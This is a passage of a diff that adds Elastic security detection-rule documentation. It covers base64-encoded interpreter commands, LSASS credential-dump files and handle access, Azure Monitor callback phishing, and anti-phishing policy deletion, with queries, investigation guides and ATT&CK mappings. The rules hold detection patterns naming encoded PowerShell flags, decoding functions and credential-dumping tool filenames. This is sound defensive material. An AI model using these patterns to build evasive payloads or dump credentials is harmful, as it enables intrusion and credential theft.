+[[prebuilt-rule-8-19-21-long-base64-encoded-command-via-scripting-interpreter]] +=== Long Base64 Encoded Command via Scripting Interpreter + +Identifies oversized command lines used by Python, PowerShell, Node.js, or Deno that contain base64 decoding or encoded-command patterns. Adversaries may embed long inline encoded payloads in scripting interpreters to evade inspection and execute malicious content across Windows, macOS, and Linux systems. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* OS: macOS +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Long Base64 Encoded Command via Scripting Interpreter* + + +This rule detects process start events where the original `process.command_line` field was ignored at index time due to +its size, but the full command line remains available in `process.command_line.text`. Attackers commonly use very long +base64-encoded inline commands with interpreters such as Python, PowerShell, Node.js, and Deno to conceal payloads and +avoid straightforward command-line inspection. + + +*Possible investigation steps* + + +- Review `process.command_line.text` to determine whether the encoded content includes shell commands, scripts, URLs, or embedded payloads. +- Inspect the parent process and execution chain to understand how the interpreter was launched and whether it originated from a browser, office application, archive utility, or remote access tool. +- Check whether the same host or user generated additional suspicious process, network, or file events around the same time. +- If the payload can be safely decoded in an isolated environment, inspect the decoded content for follow-on execution, credential access, persistence, or download behavior. + + +*False positive analysis* + + +- Administrative automation, packaging workflows, or developer tooling may legitimately pass large encoded blobs to scripting interpreters. +- PowerShell remoting, software deployment frameworks, or internal bootstrap scripts can occasionally use encoded commands; validate the source, user, and expected automation context. + + +*Response and remediation* + + +- Isolate the affected host if the decoded content or surrounding activity indicates malicious execution. +- Terminate the suspicious interpreter process and any spawned child processes. +- Preserve the full command line and related process tree for forensic analysis before making changes on the host. +- Reset or revoke any credentials, tokens, or secrets exposed by the decoded payload or subsequent attacker activity. + + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-endpoint.events.process-* METADATA _id, _index, _version, _ignored +| MV_EXPAND _ignored +| WHERE _ignored == "process.command_line" +| WHERE event.category == "process" and event.type == "start" +| EVAL command_line = TO_LOWER(process.command_line.text), pname = TO_LOWER(process.name) +| WHERE +( + ( + /* Python: inline exec with base64 decode or -c flag with encoded payload */ + pname like "python*" and + ( + command_line like "*b64decode*" or + (command_line like "*-c*" and command_line like "*base64*") + ) + ) or + ( + /* PowerShell: encoded command flag — require trailing space to avoid matching + -Encoding, -EncryptionType, -EncryptionProvider, etc. */ + (pname like "powershell*" or pname like "pwsh*") and + ( + command_line rlike ".* -(e|en|enc|enco|encod|encode|encoded|encodedcommand) .+" or + command_line like "*-encodedcommand*" or + command_line like "*frombase64string*" + ) + ) or + ( + /* Node.js: buffer.from must be paired with base64 to avoid matching + general Buffer usage; atob is always base64 */ + pname like "node*" and + ( + (command_line like "*buffer.from*" and command_line like "*base64*") or + command_line like "*atob(*" + ) + ) or + ( + /* Deno: eval( (not eval/evaluate/evaluation), atob, or buffer+base64 */ + pname like "deno*" and + ( + command_line like "*atob(*" or + (command_line like "*buffer.from*" and command_line like "*base64*") or + command_line like "*eval(*" + ) + ) +) +| EVAL Esql.length_cmdline = LENGTH(command_line) +| WHERE Esql.length_cmdline >= 4000 +| KEEP * + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-lsass-memory-dump-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-lsass-memory-dump-creation.asciidoc new file mode 100644 index 0000000000..d3ecbf5c4d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-lsass-memory-dump-creation.asciidoc @@ -0,0 +1,167 @@ +[[prebuilt-rule-8-19-21-lsass-memory-dump-creation]] +=== LSASS Memory Dump Creation + +Identifies the creation of a Local Security Authority Subsystem Service (lsass.exe) default memory dump. This may indicate a credential access attempt via trusted system utilities such as Task Manager (taskmgr.exe) and SQL Dumper (sqldumper.exe) or known pentesting tools such as Dumpert and AndrewSpecial. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.file-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/outflanknl/Dumpert +* https://github.com/hoangprod/AndrewSpecial + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne + +*Version*: 315 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating LSASS Memory Dump Creation* + + +Local Security Authority Server Service (LSASS) is a process in Microsoft Windows operating systems that is responsible for enforcing security policy on the system. It verifies users logging on to a Windows computer or server, handles password changes, and creates access tokens. + +This rule looks for the creation of memory dump files with file names compatible with credential dumping tools or that start with `lsass`. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Identify the process responsible for creating the dump file. +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the process executable using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the target host after the registry modification. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Any activity that triggered the alert and is not inherently malicious must be monitored by the security team. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.action != "deletion" and + file.name : ("lsass*.dmp", "dumpert.dmp", "Andrew.dmp", "SQLDmpr*.mdmp", "Coredump.dmp") and + + not ( + process.executable : ( + "?:\\Program Files\\Microsoft SQL Server\\*\\Shared\\SqlDumper.exe", + "?:\\Program Files\\Microsoft SQL Server Reporting Services\\SSRS\\ReportServer\\bin\\SqlDumper.exe", + "?:\\Windows\\System32\\dllhost.exe" + ) and + file.path : ( + "?:\\*\\Reporting Services\\Logfiles\\SQLDmpr*.mdmp", + "?:\\Program Files\\Microsoft SQL Server Reporting Services\\SSRS\\Logfiles\\SQLDmpr*.mdmp", + "?:\\Program Files\\Microsoft SQL Server\\*\\Shared\\ErrorDumps\\SQLDmpr*.mdmp", + "?:\\Program Files\\Microsoft SQL Server\\*\\MSSQL\\LOG\\SQLDmpr*.mdmp" + ) + ) and + + not ( + process.executable : ( + "?:\\Windows\\system32\\WerFault.exe", + "?:\\Windows\\System32\\WerFaultSecure.exe" + ) and + file.path : ( + "?:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\CrashDumps\\lsass.exe.*.dmp", + "?:\\Windows\\System32\\%LOCALAPPDATA%\\CrashDumps\\lsass.exe.*.dmp" + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: LSASS Memory +** ID: T1003.001 +** Reference URL: https://attack.mitre.org/techniques/T1003/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-lsass-process-access-via-windows-api.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-lsass-process-access-via-windows-api.asciidoc new file mode 100644 index 0000000000..f507b1eaf7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-lsass-process-access-via-windows-api.asciidoc @@ -0,0 +1,189 @@ +[[prebuilt-rule-8-19-21-lsass-process-access-via-windows-api]] +=== LSASS Process Access via Windows API + +Identifies access attempts to the LSASS handle, which may indicate an attempt to dump credentials from LSASS memory. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 15m + +*Searches indices from*: now-30m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1003.001/T1003.001.md + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Execution +* Data Source: Elastic Defend +* Data Source: Microsoft Defender XDR +* Resources: Investigation Guide + +*Version*: 17 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating LSASS Process Access via Windows API* + + +The Local Security Authority Subsystem Service (LSASS) is a critical Windows component responsible for managing user authentication and security policies. Adversaries may attempt to access the LSASS handle to dump credentials from its memory, which can be used for lateral movement and privilege escalation. + +This rule identifies attempts to access LSASS by monitoring for specific API calls (OpenProcess, OpenThread) targeting the "lsass.exe" process. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate other alerts associated with the user/host during the past 48 hours. +- Investigate the process execution chain (parent process tree) of the process that accessed the LSASS handle. + - Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. + - Determine the first time the process executable was seen in the environment and if this behavior happened in the past. + - Validate the activity is not related to planned patches, updates, network administrator activity, or legitimate software installations. + - Investigate any abnormal behavior by the subject process, such as network connections, DLLs loaded, registry or file modifications, and any spawned child processes. +- Assess the access rights (`process.Ext.api.parameters.desired_access`field) requested by the process. This https://learn.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights[Microsoft documentation] may be useful to help the interpretation. +- If there are traces of LSASS memory being successfully dumped, investigate potentially compromised accounts. Analysts can do this by searching for login events (e.g., 4624) to the target host. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the executables of the processes using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process's `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + + +*False positive analysis* + + +- If this rule is noisy in your environment due to expected activity, consider adding exceptions — preferably with a combination of `process.executable`, `process.code_signature.subject_name` and `process.Ext.api.parameters.desired_access_numeric` conditions. + + +*Related Rules* + + +- Suspicious Lsass Process Access - 128468bf-cab1-4637-99ea-fdf3780a4609 +- Potential Credential Access via DuplicateHandle in LSASS - 02a4576a-7480-4284-9327-548a806b5e48 +- LSASS Memory Dump Handle Access - 208dbe77-01ed-4954-8d44-1e5751cb20de + + +*Response and Remediation* + + +- Initiate the incident response process based on the outcome of the triage. + - If malicious activity is confirmed, perform a broader investigation to identify the scope of the compromise and determine the appropriate remediation steps. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Reimage the host operating system or restore the compromised files to clean versions. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-endpoint.events.api-*, logs-m365_defender.event-* metadata _id, _version, _index + +| where event.category == "api" and host.os.family == "windows" and + process.Ext.api.name in ("OpenProcess", "OpenThread", "ReadProcessMemory") and + Target.process.name == "lsass.exe" and process.executable is not null and + + // Noisy patterns + not to_lower(process.executable) like """c:\\program files\\*.exe""" and + not to_lower(process.executable) like """c:\\program files (x86)\\*.exe""" and + not process.executable like """C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\MsMpEng.exe""" and + not process.executable like """C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\*\\MsMpEng.exe""" + + /* normalize process paths to reduce known random patterns in process.executable */ +| eval Esql.process_path = replace(process.executable, """([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}|ns[a-z][A-Z0-9]{3,4}\.tmp|DX[A-Z0-9]{3,4}\.tmp|7z[A-Z0-9]{3,5}\.tmp|[0-9\.\-\_]{3,})""", "") + +// Group by process path +| stats Esql.access_count = count(*), + Esql.count_distinct_hosts = count_distinct(host.id), + Esql.host_id_values = VALUES(host.id), + Esql.host_name_values = VALUES(host.name), + Esql.user_name_values = VALUES(user.name), + Esql.process_pid_values = VALUES(process.entity_id), + Esql.process_executable_values = VALUES(process.executable), + Esql.data_stream_namespace.values = VALUES(data_stream.namespace), + Esql.user_name_values = VALUES(user.name) by Esql.process_path + +// Limit to rare instances limited to 1 unique host +| where Esql.count_distinct_hosts == 1 and Esql.access_count <= 3 + +// Extract the single host ID and process into their corresponding ECS fields for alerts exclusion +| eval host.id = mv_min(Esql.host_id_values), + host.name = mv_min(Esql.host_name_values), + process.executable = mv_min(Esql.process_executable_values), + user.name = mv_min(Esql.user_name_values) + +// Add the new field to the keep statement +| keep Esql.*, host.id, host.name, user.name, process.executable + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: LSASS Memory +** ID: T1003.001 +** Reference URL: https://attack.mitre.org/techniques/T1003/001/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Native API +** ID: T1106 +** Reference URL: https://attack.mitre.org/techniques/T1106/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-azure-monitor-alert-email-with-financial-or-billing-theme.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-azure-monitor-alert-email-with-financial-or-billing-theme.asciidoc new file mode 100644 index 0000000000..a2c8435aa6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-azure-monitor-alert-email-with-financial-or-billing-theme.asciidoc @@ -0,0 +1,139 @@ +[[prebuilt-rule-8-19-21-m365-azure-monitor-alert-email-with-financial-or-billing-theme]] +=== M365 Azure Monitor Alert Email with Financial or Billing Theme + +Detects Azure Monitor alert notification emails with financial or billing themed subject lines delivered to organization users. Adversaries abuse Azure Monitor alert rules to deliver callback phishing emails from Microsoft's legitimate azure-noreply@microsoft.com address. Because the emails originate from Microsoft's own infrastructure, they pass SPF, DKIM, and DMARC checks, bypassing email security filters and increasing victim trust. The attacker embeds a fraudulent billing or security lure in the alert rule description, which is rendered in the notification email body. Observed subject patterns include invoice numbers, payment references, and order confirmations. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.bleepingcomputer.com/news/security/microsoft-azure-monitor-alerts-abused-in-callback-phishing-campaigns/ + +*Tags*: + +* Domain: Cloud +* Domain: Email +* Data Source: Microsoft 365 +* Data Source: Microsoft Exchange Online Message Trace +* Use Case: Threat Detection +* Tactic: Initial Access +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating M365 Azure Monitor Alert Email with Financial or Billing Theme* + + +Azure Monitor alert rules can be abused by adversaries to deliver callback phishing emails from Microsoft's legitimate `azure-noreply@microsoft.com` address. The attacker creates a metric or activity log alert in their own Azure tenant with a phishing lure embedded in the description field, then adds victim email addresses to an action group. When the alert fires, Microsoft sends the notification email — complete with the embedded lure — directly to the victims. + + +*Possible investigation steps* + + +- Review the `email.subject` field to determine if the alert name matches known phishing patterns (e.g., `INV-`, `Payment Reference`, `order-`, `Funds Received`). +- Check the `email.to.address` field to identify which users received the email and whether they are high-value targets. +- Search for additional emails from `azure-noreply@microsoft.com` to the same recipient within a short time window. The attack typically sends both a "Fired" and "Resolved" notification, doubling phishing impressions. +- Look for an earlier "You're now in the X action group" notification email, which arrives before the phishing alert — this confirms the user was added to an external Azure Monitor action group. +- Check email message headers for the originating Azure subscription and resource group, which are embedded in the alert details. +- Contact the recipient to determine if they interacted with the email or called the phone number in the lure. +- If the victim called the number, initiate incident response for potential credential theft, payment fraud, or remote access tool installation. + + +*False positive analysis* + + +- Legitimate Azure Monitor alerts with financial naming (e.g., a cost alert named "Invoice threshold exceeded") may match. Verify the alert originates from a known internal Azure subscription by examining the email body or message headers. +- Internal teams that name alert rules with billing-related terms for cost management should be documented as exceptions. + + +*Response and remediation* + + +- If the email is confirmed as phishing, block the sender pattern and alert name in your email security gateway. +- Quarantine or delete the phishing emails from affected mailboxes. +- If the victim called the phone number, treat as a compromised account: reset credentials, revoke sessions, and audit for unauthorized access. +- Report the Azure subscription ID from the email headers to Microsoft abuse team for takedown. +- Consider implementing a mail flow rule to flag or quarantine Azure Monitor notification emails that contain phone numbers or financial language in the body. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-microsoft_exchange_online_message_trace.* metadata _id, _version, _index + +// Filter for Azure Monitor notification emails with financial/billing themed subjects +| where data_stream.dataset == "microsoft_exchange_online_message_trace.log" + and email.from.address == "azure-noreply@microsoft.com" + and event.outcome in ("success", "unknown") + and email.subject like "*Azure Monitor alert*" + and ( + email.subject like "*INV-*" + or email.subject like "*invoice*" + or email.subject like "*payment*" + or email.subject like "*order-*" + or email.subject like "*purchase*" + or email.subject like "*funds*" + or email.subject like "*receipt*" + or email.subject like "*billing*" + or email.subject like "*transaction*" + or email.subject like "*refund*" + or email.subject like "*charge*" + or email.subject like "*subscription*" + or email.subject like "*renewal*" + or email.subject like "*overdue*" + or email.subject like "*past due*" + or email.subject like "*amount due*" + or email.subject like "*wire transfer*" + or email.subject like "*bank account*" + or email.subject like "*credit card*" + or email.subject like "*financial*" + or email.subject like "*remittance*" + ) + +| keep * + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing via Service +** ID: T1566.003 +** Reference URL: https://attack.mitre.org/techniques/T1566/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-exchange-anti-phish-policy-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-exchange-anti-phish-policy-deleted.asciidoc new file mode 100644 index 0000000000..a1aad9536a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-exchange-anti-phish-policy-deleted.asciidoc @@ -0,0 +1,125 @@ +[[prebuilt-rule-8-19-21-m365-exchange-anti-phish-policy-deleted]] +=== M365 Exchange Anti-Phish Policy Deleted + +Identifies the deletion of an anti-phishing policy in Microsoft 365. By default, Microsoft 365 includes built-in features that help protect users from phishing attacks. Anti-phishing polices increase this protection by refining settings to better detect and prevent attacks. + +*Rule type*: query + +*Rule indices*: + +* logs-o365.audit-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/powershell/module/exchange/remove-antiphishpolicy?view=exchange-ps +* https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/set-up-anti-phishing-policies?view=o365-worldwide + +*Tags*: + +* Domain: Cloud +* Data Source: Microsoft 365 +* Use Case: Configuration Audit +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating M365 Exchange Anti-Phish Policy Deleted* + + +Microsoft 365's anti-phishing policies enhance security by fine-tuning detection settings to thwart phishing attacks. Adversaries may delete these policies to weaken defenses, facilitating unauthorized access. The detection rule monitors audit logs for successful deletions of anti-phishing policies, signaling potential malicious activity by identifying specific actions and outcomes associated with policy removal. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.action "Remove-AntiPhishPolicy" to identify the user account responsible for the deletion. +- Check the event.outcome field to confirm the success of the policy deletion and gather additional context from related logs around the same timestamp. +- Investigate the user account's recent activities in Microsoft 365 to identify any other suspicious actions or anomalies, such as unusual login locations or times. +- Assess whether the user account has been compromised by checking for any unauthorized access attempts or changes in account settings. +- Evaluate the impact of the deleted anti-phishing policy by reviewing the organization's current phishing protection measures and any recent phishing incidents. +- Coordinate with the IT security team to determine if the policy deletion was authorized or part of a legitimate change management process. + + +*False positive analysis* + + +- Routine administrative actions may trigger the rule if IT staff regularly update or remove outdated anti-phishing policies. To manage this, create exceptions for known administrative accounts performing these actions. +- Scheduled policy reviews might involve the removal of policies as part of a legitimate update process. Document these schedules and exclude them from triggering alerts by setting time-based exceptions. +- Automated scripts used for policy management can inadvertently cause false positives. Identify and whitelist these scripts to prevent unnecessary alerts. +- Changes in organizational policy that require the removal of certain anti-phishing policies can be mistaken for malicious activity. Ensure that such changes are communicated and logged, and adjust the rule to recognize these legitimate actions. +- Test environments where policies are frequently added and removed for validation purposes can generate false positives. Exclude these environments from the rule to avoid confusion. + + +*Response and remediation* + + +- Immediately isolate the affected user accounts and systems to prevent further unauthorized access or data exfiltration. +- Recreate the deleted anti-phishing policy using the latest security guidelines and ensure it is applied across all relevant user groups. +- Conduct a thorough review of recent email activity and logs for the affected accounts to identify any phishing emails that may have bypassed security measures. +- Reset passwords for affected accounts and enforce multi-factor authentication (MFA) to enhance account security. +- Notify the security team and relevant stakeholders about the incident for awareness and further investigation. +- Escalate the incident to the incident response team if there is evidence of broader compromise or if sensitive data has been accessed. +- Implement enhanced monitoring and alerting for similar actions in the future to quickly detect and respond to any further attempts to delete security policies. + +==== Setup + + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:o365.audit and event.provider:Exchange and event.category:web and event.action:"Remove-AntiPhishPolicy" and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-exchange-anti-phish-rule-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-exchange-anti-phish-rule-modification.asciidoc new file mode 100644 index 0000000000..7c340ef6dd --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-m365-exchange-anti-phish-rule-modification.asciidoc @@ -0,0 +1,121 @@ +[[prebuilt-rule-8-19-21-m365-exchange-anti-phish-rule-modification]] +=== M365 Exchange Anti-Phish Rule Modification + +Identifies the modification of an 